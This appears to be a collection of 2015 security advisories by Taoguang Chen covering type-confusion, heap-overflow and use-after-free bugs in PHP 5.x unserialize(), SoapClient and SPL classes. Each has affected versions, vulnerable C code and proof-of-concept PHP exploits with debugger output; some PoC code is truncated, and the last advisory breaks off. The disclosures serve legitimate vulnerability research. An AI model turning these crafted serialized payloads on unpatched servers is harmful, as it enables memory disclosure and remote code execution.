/research/pch-024.md:
--------------------------------------------------------------------------------
1 | ### Type Confusion Infoleak Vulnerabilities in SoapClient
2 | > Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.1 - Release Date: 2015.3.20
3 |
4 | Four type confusion vulnerabilities were discovered in SoapClient object's some methods that can be abused for leaking arbitrary memory blocks.
5 |
6 | Affected Versions
7 | ------------
8 | Affected is PHP 5.6 < 5.6.7
9 | Affected is PHP 5.5 < 5.5.23
10 | Affected is PHP 5.4 < 5.4.39
11 | Affected is PHP 5.3 <= 5.3.29
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ``` c
21 | PHP_METHOD(SoapClient, __getLastRequest)
22 | {
23 | zval **tmp;
24 |
25 | if (zend_parse_parameters_none() == FAILURE) {
26 | return;
27 | }
28 |
29 | if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__last_request", sizeof("__last_request"), (void **)&tmp) == SUCCESS) {
30 | RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), 1);
31 | }
32 | RETURN_NULL();
33 | }
34 | ```
35 |
36 | The Z_STRVAL_P macro lead to looking up an arbitrary valid memory address, and return a string via a doubles-type or integer-type zval that start from this memory address. If the memory address is an invalid memory position, it should result in a crash.
37 |
38 | The Z_STRLEN_PP macro for accessing str.len member from the zvalue_value union, and return string's length. For integers the Z_STRLEN_PP macro is generally return 1, so a integer-type ZVAL can collide a string of length 1. The size of a double is 8 bytes, so on 32bit system a double-type ZVAL can collide a string of any length
39 |
40 | The very similar bugs exists in SoapClient object's __getLastResponse(), __getLastRequestHeaders(), and __getLastResponseHeaders() methods.
41 |
42 | Proof of Concept Exploit
43 | ------------
44 | The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.14.
45 |
46 | ``` php
47 | "", 'uri' => ""));
50 | $str = '';
51 | for ($i = 0x100351e3d; $i < 0x100351e3d + 25; $i++) {
52 | $z->__last_request = $i;
53 | $str .= $z->__getLastRequest();
54 | }
55 | var_dump($str);
56 |
57 | ?>
58 | ```
59 |
60 | Test the PoC on the command line, then output some memory blocks:
61 |
62 | ``` shell
63 | $ lldb php
64 | (lldb) target create "php"
65 | Current executable set to 'php' (x86_64).
66 | (lldb) run test.php
67 | Process 6366 launched: '/usr/bin/php' (x86_64)
68 | string(25) "UH??AWAVSPI??I??H????
69 | H"
70 | Process 6366 exited with status = 0 (0x00000000)
71 | ```
72 |
--------------------------------------------------------------------------------
/research/pch-025.md:
--------------------------------------------------------------------------------
1 | # Type Confusion Infoleak Vulnerability in unserialize() with SoapFault
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.1 - Release Date: 2015.4.28
4 |
5 | > A type confusion vulnerability was discovered in unserialize() with SoapFault object's __toString() magic method that can be abused for leaking arbitrary memory blocks.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.8
10 | Affected is PHP 5.5 < 5.5.24
11 | Affected is PHP 5.4 < 5.4.40
12 | Affected is PHP 5.3 <= 5.3.29
13 |
14 | Credits
15 | ------------
16 | This vulnerability was disclosed by Taoguang Chen.
17 |
18 | Description
19 | ------------
20 |
21 | ```
22 | PHP_METHOD(SoapFault, __toString)
23 | {
24 | ...
25 | faultcode = zend_read_property(soap_fault_class_entry, this_ptr, "faultcode", sizeof("faultcode")-1, 1 TSRMLS_CC);
26 | faultstring = zend_read_property(soap_fault_class_entry, this_ptr, "faultstring", sizeof("faultstring")-1, 1 TSRMLS_CC);
27 | file = zend_read_property(soap_fault_class_entry, this_ptr, "file", sizeof("file")-1, 1 TSRMLS_CC);
28 | line = zend_read_property(soap_fault_class_entry, this_ptr, "line", sizeof("line")-1, 1 TSRMLS_CC);
29 | ...
30 | len = spprintf(&str, 0, "SoapFault exception: [%s] %s in %s:%ld\nStack trace:\n%s",
31 | Z_STRVAL_P(faultcode), Z_STRVAL_P(faultstring), Z_STRVAL_P(file), Z_LVAL_P(line),
32 | Z_STRLEN_P(trace) ? Z_STRVAL_P(trace) : "#0 {main}\n");
33 |
34 | zval_ptr_dtor(&trace);
35 |
36 | RETURN_STRINGL(str, len, 0);
37 | }
38 | ```
39 |
40 | The Z_STRVAL_P macro lead to looking up an arbitrary valid memory address, and return a string via a integer-type zval that start from this memory address. If the memory address is an invalid memory position, it should result in a crash.
41 | The Z_LVAL_P macro lead to leaking memory address via a string-type zval that this string value stored.
42 |
43 | Proof of Concept Exploit
44 | ------------
45 | The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.
46 |
47 | ```
48 |
54 | ```
55 |
56 | Test the PoC on the command line, then output some memory blocks and memory address:
57 |
58 | ```
59 | $ lldb php
60 | (lldb) target create "php"
61 | Current executable set to 'php' (x86_64).
62 | (lldb) run test.php
63 | SoapFault exception: [UH??AWAVSPI??I??H????
64 | in UH??AWAVAUATSH???:4307253992 ] UH??SPD???*?????t"H?
65 | Stack trace:
66 | #0 test.php(4): unserialize('O:9:"SoapFault"...')
67 | #1 {main}
68 | Process 889 exited with status = 0 (0x00000000)
69 | ```
70 |
--------------------------------------------------------------------------------
/research/pch-026.md:
--------------------------------------------------------------------------------
1 | # Type Confusion Infoleak and Heap Overflow Vulnerability in unserialize() with exception
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3 - Release Date: 2015.4.28
4 |
5 | > A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.8
10 | Affected is PHP 5.5 < 5.5.24
11 | Affected is PHP 5.4 < 5.4.40
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 | ```
20 | ZEND_METHOD(exception, getTraceAsString)
21 | {
22 | zval *trace;
23 | char *res, **str, *s_tmp;
24 | int res_len = 0, *len = &res_len, num = 0;
25 |
26 | DEFAULT_0_PARAMS;
27 |
28 | res = estrdup("");
29 | str = &res;
30 |
31 | trace = zend_read_property(default_exception_ce, getThis(), "trace", sizeof("trace")-1, 1 TSRMLS_CC);
32 | zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC, (apply_func_args_t)_build_trace_string, 3, str, len, &num);
33 |
34 | ...
35 |
36 | static int _build_trace_string(zval **frame TSRMLS_DC, int num_args, va_list args, zend_hash_key *hash_key) /* {{{ */
37 | {
38 | char *s_tmp, **str;
39 | int *len, *num;
40 | long line;
41 | HashTable *ht = Z_ARRVAL_PP(frame);
42 | zval **file, **tmp;
43 |
44 | ...
45 |
46 | TRACE_APPEND_KEY("class");
47 | TRACE_APPEND_KEY("type");
48 | TRACE_APPEND_KEY("function");
49 |
50 | ...
51 |
52 | #define TRACE_APPEND_KEY(key) \
53 | if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { \
54 | if (Z_TYPE_PP(tmp) != IS_STRING) { \
55 | zend_error(E_WARNING, "Value for %s is no string", key); \
56 | TRACE_APPEND_STR("[unknown]"); \
57 | } else { \
58 | TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); \
59 | } \
60 | }
61 | ```
62 |
63 | The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a fake HashTable and a fake Bucket. So we can supply a fake sring-type ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro, causing a crash or an information leak.
64 |
65 | ```
66 | #define TRACE_APPEND_STRL(val, vallen) \
67 | { \
68 | int l = vallen; \
69 | *str = (char*)erealloc(*str, *len + l + 1); \
70 | memcpy((*str) + *len, val, l); \
71 | *len += l; \
72 | }
73 | ```
74 |
75 | There is using signed integer arithmetic in erealloc(). The memcpy() function's third parameter is a unsiged integer. The vallen can be completely control and we can supply negative value via a fake string-type ZVAL. So we can assign a value to val which is larger than real allocated memory. The memcpy() will then copy more data than the heap-based buffers can hold, causing a heap-based buffer overflow.
76 |
77 | Proof of Concept Exploit
78 | ------------
79 | The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.
80 |
81 | ```
82 | >= 8;
178 | }
179 | return $out;
180 | }
181 |
182 | function zhash($key)
183 | {
184 | $hash = 5381;
185 | $key = $key;
186 | $len = strlen($key) + 1;
187 |
188 | for (; $len >= 8; $len -= 8) {
189 | for ($i = 0; $i < 8; $i++) {
190 | $hash = (($hash << 5) + $hash) + ord($key{$i});
191 | }
192 | }
193 | $key = substr($key, -$len);
194 | for ($i = 0; $i < $len; $i++) {
195 | $hash = (($hash << 5) + $hash) + ord($key{$i});
196 | }
197 | return $hash;
198 | }
199 |
200 | ?>
201 | ```
202 |
203 | Test the PoC on the command line, then output some memory blocks:
204 |
205 | ```
206 | $ lldb php
207 | (lldb) target create "php"
208 | Current executable set to 'php' (x86_64).
209 | (lldb) run tcpoc.php
210 | Process 1825 launched: '/usr/bin/php' (x86_64)
211 | exception 'Exception' in tcpoc.php:7
212 | Stack trace:
213 | #0 [internal function]: UH??AWAVSPI??I??H????()
214 | #1 {main}
215 | Process 1825 exited with status = 0 (0x00000000)
216 | ```
217 |
--------------------------------------------------------------------------------
/research/pch-027.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerability in unserialize() with SPL ArrayObject
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.7.30 - Release Date: 2015.8.7
4 |
5 | > A use-after-free vulnerability was discovered in unserialize() with SPL ArrayObject object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.12
10 | Affected is PHP 5.5 < 5.5.28
11 | Affected is PHP 5.4 < 5.4.44
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ```
21 | if (*p!= 'x' || *++p != ':') {
22 | goto outexcept;
23 | }
24 | ++p;
25 |
26 | ALLOC_INIT_ZVAL(pflags);
27 | if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
28 | zval_ptr_dtor(&pflags);
29 | goto outexcept;
30 | }
31 |
32 | --p; /* for ';' */
33 | flags = Z_LVAL_P(pflags);
34 | zval_ptr_dtor(&pflags); <=== free memory
35 |
36 | ...
37 |
38 | /* members */
39 | if (*p!= 'm' || *++p != ':') {
40 | goto outexcept;
41 | }
42 | ++p;
43 |
44 | ALLOC_INIT_ZVAL(pmembers);
45 | if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
46 | zval_ptr_dtor(&pmembers);
47 | goto outexcept;
48 | }
49 |
50 | /* copy members */
51 | if (!intern->std.properties) {
52 | rebuild_object_properties(&intern->std);
53 | }
54 | zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
55 | zval_ptr_dtor(&pmembers); <=== free memory
56 |
57 | /* done reading $serialized */
58 |
59 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
60 | return;
61 | ```
62 |
63 | The zval_ptr_dtor() leads to &pflags and &pmembers are freed from memory. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
64 |
65 | Proof of Concept Exploit
66 | ------------
67 | The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
68 |
69 | ```
70 | >= 8;
96 | }
97 | return $out;
98 | }
99 |
100 | ?>
101 | ```
102 |
103 | Test the PoC on the command line:
104 |
105 | ```
106 | $ php uafpoc.php
107 | array(2) {
108 | [0]=>
109 | object(ArrayObject)#1 (1) {
110 | ["storage":"ArrayObject":private]=>
111 | array(0) {
112 | }
113 | }
114 | [1]=>
115 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
116 | }
117 | ```
118 |
--------------------------------------------------------------------------------
/research/pch-028.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerability in unserialize() with SplObjectStorage
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.7.30 - Release Date: 2015.8.7
4 |
5 | > A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.12
10 | Affected is PHP 5.5 < 5.5.28
11 | Affected is PHP 5.4 < 5.4.44
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ```
21 | if (*p!= 'x' || *++p != ':') {
22 | goto outexcept;
23 | }
24 | ++p;
25 |
26 | ALLOC_INIT_ZVAL(pcount);
27 | if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
28 | goto outexcept;
29 | }
30 |
31 | ...
32 |
33 | /* members */
34 | if (*p!= 'm' || *++p != ':') {
35 | goto outexcept;
36 | }
37 | ++p;
38 |
39 | ALLOC_INIT_ZVAL(pmembers);
40 | if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
41 | zval_ptr_dtor(&pmembers);
42 | goto outexcept;
43 | }
44 |
45 | /* copy members */
46 | if (!intern->std.properties) {
47 | rebuild_object_properties(&intern->std);
48 | }
49 | zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
50 | zval_ptr_dtor(&pmembers); <=== free memory
51 |
52 | /* done reading $serialized */
53 | if (pcount) {
54 | zval_ptr_dtor(&pcount); <=== free memory
55 | }
56 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
57 | return;
58 | ```
59 |
60 | The zval_ptr_dtor() leads to &pcount and &pmembers are freed from memory. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
61 |
62 | Proof of Concept Exploit
63 | ------------
64 | The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
65 |
66 | ```
67 | >= 8;
93 | }
94 | return $out;
95 | }
96 |
97 | ?>
98 | ```
99 |
100 | Test the PoC on the command line:
101 |
102 | ```
103 | $ php uafpoc.php
104 | array(2) {
105 | [0]=>
106 | object(SplObjectStorage)#1 (1) {
107 | ["storage":"SplObjectStorage":private]=>
108 | array(0) {
109 | }
110 | }
111 | [1]=>
112 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
113 | }
114 | ```
115 |
--------------------------------------------------------------------------------
/research/pch-029.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.7.30 - Release Date: 2015.8.7
4 |
5 | > A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.12
10 | Affected is PHP 5.5 < 5.5.28
11 | Affected is PHP 5.4 < 5.4.44
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ```
21 | ALLOC_INIT_ZVAL(flags);
22 | if (!php_var_unserialize(&flags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(flags) != IS_LONG) {
23 | zval_ptr_dtor(&flags);
24 | goto error;
25 | }
26 | intern->flags = Z_LVAL_P(flags);
27 | zval_ptr_dtor(&flags); <=== free memory
28 |
29 | ...
30 |
31 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
32 | return;
33 | ```
34 |
35 | The zval_ptr_dtor() leads to &flags is freed from memory. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
36 |
37 | Proof of Concept Exploit
38 | ------------
39 | The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
40 |
41 | ```
42 | >= 8;
68 | }
69 | return $out;
70 | }
71 |
72 | ?>
73 | ```
74 |
75 | Test the PoC on the command line:
76 |
77 | ```
78 | $ php uafpoc.php
79 | array(2) {
80 | [0]=>
81 | object(SplDoublyLinkedList)#1 (2) {
82 | ["flags":"SplDoublyLinkedList":private]=>
83 | int(0)
84 | ["dllist":"SplDoublyLinkedList":private]=>
85 | array(0) {
86 | }
87 | }
88 | [1]=>
89 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
90 | }
91 | ```
92 |
--------------------------------------------------------------------------------
/research/pch-030.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerabilities in unserialize()
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.7.31 - Release Date: 2015.9.4
4 |
5 | > Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.13
10 | Affected is PHP 5.5 < 5.5.29
11 | Affected is PHP 5.4 < 5.4.45
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 | ```
20 | if (ce->unserialize == NULL) {
21 | zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
22 | object_init_ex(rval, ce);
23 | } else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
24 | return 0;
25 | }
26 |
27 | (*p) += datalen;
28 |
29 | return finish_nested_data(UNSERIALIZE_PASSTHRU);
30 | ```
31 |
32 | The unserialize() with Serializable class lead to various problems.
33 |
34 | i) Free the memory via crafted Serializable class
35 |
36 | ```
37 | data);
43 | }
44 | function unserialize($data) {
45 | $this->data = unserialize($data);
46 | $this->data = 1;
47 | }
48 | }
49 |
50 | ?>
51 | ```
52 |
53 | ii) Free the memory via the process_nested_data() with a invalid serialized string
54 |
55 | ```
56 | static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
57 | {
58 | while (elements-- > 0) {
59 | zval *key, *data, **old_data;
60 |
61 | ...
62 |
63 | ALLOC_INIT_ZVAL(data);
64 |
65 | if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
66 | zval_dtor(key);
67 | FREE_ZVAL(key);
68 | zval_dtor(data);
69 | FREE_ZVAL(data); <=== free the memory
70 | return 0;
71 | }
72 | ```
73 |
74 | iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().
75 |
76 | ```
77 | PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
78 | {
79 |
80 | ...
81 |
82 | while (var_hash) {
83 | for (i = 0; i < var_hash->used_slots; i++) {
84 | zval_ptr_dtor(&var_hash->data[i]); <=== free the memory
85 | }
86 |
87 | ...
88 |
89 | PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
90 | {
91 |
92 | ...
93 |
94 | if (*rval != NULL) {
95 | var_push_dtor_no_addref(var_hash, rval);
96 | }
97 | *rval = *rval_ref;
98 | ```
99 |
100 | We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
101 |
102 | Proof of Concept Exploit
103 | ------------
104 | The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.
105 |
106 | ```
107 | >= 8;
140 | }
141 | return $out;
142 | }
143 |
144 | class obj implements Serializable {
145 | var $data;
146 | function serialize() {
147 | return serialize($this->data);
148 | }
149 | function unserialize($data) {
150 | $this->data = unserialize($data);
151 | // i)
152 | // $this->data = '1';
153 | }
154 | }
155 |
156 | ?>
157 | ```
158 |
159 | Test the PoC on the command line:
160 |
161 | ```
162 | $ php uafpoc.php
163 | array(2) {
164 | [0]=>
165 | object(obj)#1 (1) {
166 | ["data"]=>
167 | bool(false)
168 | }
169 | [1]=>
170 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
171 | }
172 | ```
173 |
--------------------------------------------------------------------------------
/research/pch-031.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerabilities in Session Deserializer
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.9 - Release Date: 2015.9.4
4 |
5 | > Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.13
10 | Affected is PHP 5.5 < 5.5.29
11 | Affected is PHP 5.4 < 5.4.45
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 | ```
20 | PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
21 | {
22 |
23 | ...
24 |
25 | PHP_VAR_UNSERIALIZE_INIT(var_hash);
26 |
27 | p = val;
28 |
29 | while (p < endptr) {
30 |
31 | ...
32 |
33 | if (has_value) {
34 | ALLOC_INIT_ZVAL(current);
35 | if (php_var_unserialize(¤t, (const unsigned char **) &q, (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
36 | php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
37 | }
38 | zval_ptr_dtor(¤t);
39 | }
40 | PS_ADD_VARL(name, namelen);
41 | skip:
42 | efree(name);
43 |
44 | p = q;
45 | }
46 | break_outer_loop:
47 |
48 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
49 |
50 | return SUCCESS;
51 | }
52 | ```
53 |
54 | When session deserializer (php/php_binary) deserializing multiple data it will call to php_var_unserialize() multiple times. So we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, and also free the memory (reduce the reference count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two identical session data, then the next call to php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
55 |
56 | In some other cases, session deserializer (php/php_binary/php_serialize) may also lead to use-after-free vulnerabilities: i) via crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload().
57 |
58 | Proof of Concept Exploit
59 | ------------
60 | The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.
61 |
62 | ```
63 | >= 8;
90 | }
91 | return $out;
92 | }
93 |
94 | ?>
95 | ```
96 |
97 | Test the PoC on the command line:
98 |
99 | ```
100 | $ php uafpoc.php
101 | array(2) {
102 | ["ryat"]=>
103 | NULL
104 | ["chtg"]=>
105 | array(1) {
106 | [0]=>
107 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
108 | }
109 | }
110 | ```
111 |
--------------------------------------------------------------------------------
/research/pch-032.md:
--------------------------------------------------------------------------------
1 | #Use After Free Vulnerability in unserialize() with GMP
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.17 - Release Date: 2015.9.4
4 |
5 | > A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.13
10 |
11 | Credits
12 | ------------
13 | This vulnerability was disclosed by Taoguang Chen.
14 |
15 | Description
16 | ------------
17 | ```
18 | static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
19 | {
20 | ...
21 |
22 | INIT_ZVAL(zv);
23 | if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
24 | || Z_TYPE_P(zv_ptr) != IS_STRING
25 | || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
26 | ) {
27 | zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
28 | goto exit;
29 | }
30 | zval_dtor(&zv);
31 |
32 | INIT_ZVAL(zv);
33 | if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
34 | || Z_TYPE_P(zv_ptr) != IS_ARRAY
35 | ) {
36 | zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
37 | goto exit;
38 | }
39 | ```
40 |
41 | The GMP object's deserialization can create ZVAL and free its zval_value from memory via zval_dtor(). However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
42 |
43 | Proof of Concept Exploit
44 | ------------
45 | The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
46 | ```
47 | >= 8;
73 | }
74 | return $out;
75 | }
76 |
77 | ?>
78 | ```
79 |
80 | Test the PoC on the command line:
81 | ```
82 | $ php uafpoc.php
83 | array(2) {
84 | [0]=>
85 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
86 | [1]=>
87 | object(GMP)#1 (2) {
88 | [0]=>
89 | array(1) {
90 | [0]=>
91 | int(4325299791)
92 | }
93 | ["num"]=>
94 | string(1) "1"
95 | }
96 | }
97 | ```
98 |
--------------------------------------------------------------------------------
/research/pch-033.md:
--------------------------------------------------------------------------------
1 | #Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.27 - Release Date: 2015.9.4
4 |
5 | > A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.13
10 | Affected is PHP 5.5 < 5.5.29
11 | Affected is PHP 5.4 < 5.4.45
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ```
21 | ALLOC_INIT_ZVAL(pentry);
22 | if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
23 | zval_ptr_dtor(&pentry);
24 | goto outexcept;
25 | }
26 | if(Z_TYPE_P(pentry) != IS_OBJECT) {
27 | goto outexcept;
28 | }
29 | ALLOC_INIT_ZVAL(pinf);
30 | if (*p == ',') { /* new version has inf */
31 | ++p;
32 | if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
33 | zval_ptr_dtor(&pinf);
34 | goto outexcept;
35 | }
36 | }
37 | ```
38 |
39 | It has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
40 |
41 | Proof of Concept Exploit
42 | ------------
43 | The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
44 |
45 | ```
46 | ryat = 1;
52 | }
53 | }
54 |
55 | $fakezval = ptr2str(1122334455);
56 | $fakezval .= ptr2str(0);
57 | $fakezval .= "\x00\x00\x00\x00";
58 | $fakezval .= "\x01";
59 | $fakezval .= "\x00";
60 | $fakezval .= "\x00\x00";
61 |
62 | $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
63 | $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
64 |
65 | $data = unserialize($exploit);
66 |
67 | var_dump($data);
68 |
69 | function ptr2str($ptr)
70 | {
71 | $out = '';
72 | for ($i = 0; $i < 8; $i++) {
73 | $out .= chr($ptr & 0xff);
74 | $ptr >>= 8;
75 | }
76 | return $out;
77 | }
78 |
79 | ?>
80 | ```
81 |
82 | Test the PoC on the command line:
83 |
84 | ```
85 | $ php uafpoc.php
86 | array(5) {
87 | [0]=>
88 | int(1)
89 | [1]=>
90 | &int(1)
91 | [2]=>
92 | object(obj)#3 (1) {
93 | ["ryat"]=>
94 | &int(1)
95 | }
96 | [3]=>
97 | int(1122334455) <=== so we can control the memory and create fake ZVAL :)
98 | [4]=>
99 | string(24) "?v?B????"
100 | }
101 | ```
102 |
--------------------------------------------------------------------------------
/research/pch-034.md:
--------------------------------------------------------------------------------
1 | #Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
2 |
3 | Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.27 - Release Date: 2015.9.4
4 |
5 | > A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
6 |
7 | Affected Versions
8 | ------------
9 | Affected is PHP 5.6 < 5.6.13
10 | Affected is PHP 5.5 < 5.5.29
11 | Affected is PHP 5.4 < 5.4.45
12 |
13 | Credits
14 | ------------
15 | This vulnerability was disclosed by Taoguang Chen.
16 |
17 | Description
18 | ------------
19 |
20 | ```
21 | while(*p == ':') {
22 | ++p;
23 | ALLOC_INIT_ZVAL(elem);
24 | if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
25 | zval_ptr_dtor(&elem);
26 | goto error;
27 | }
28 |
29 | spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
30 | }
31 | ```
32 |
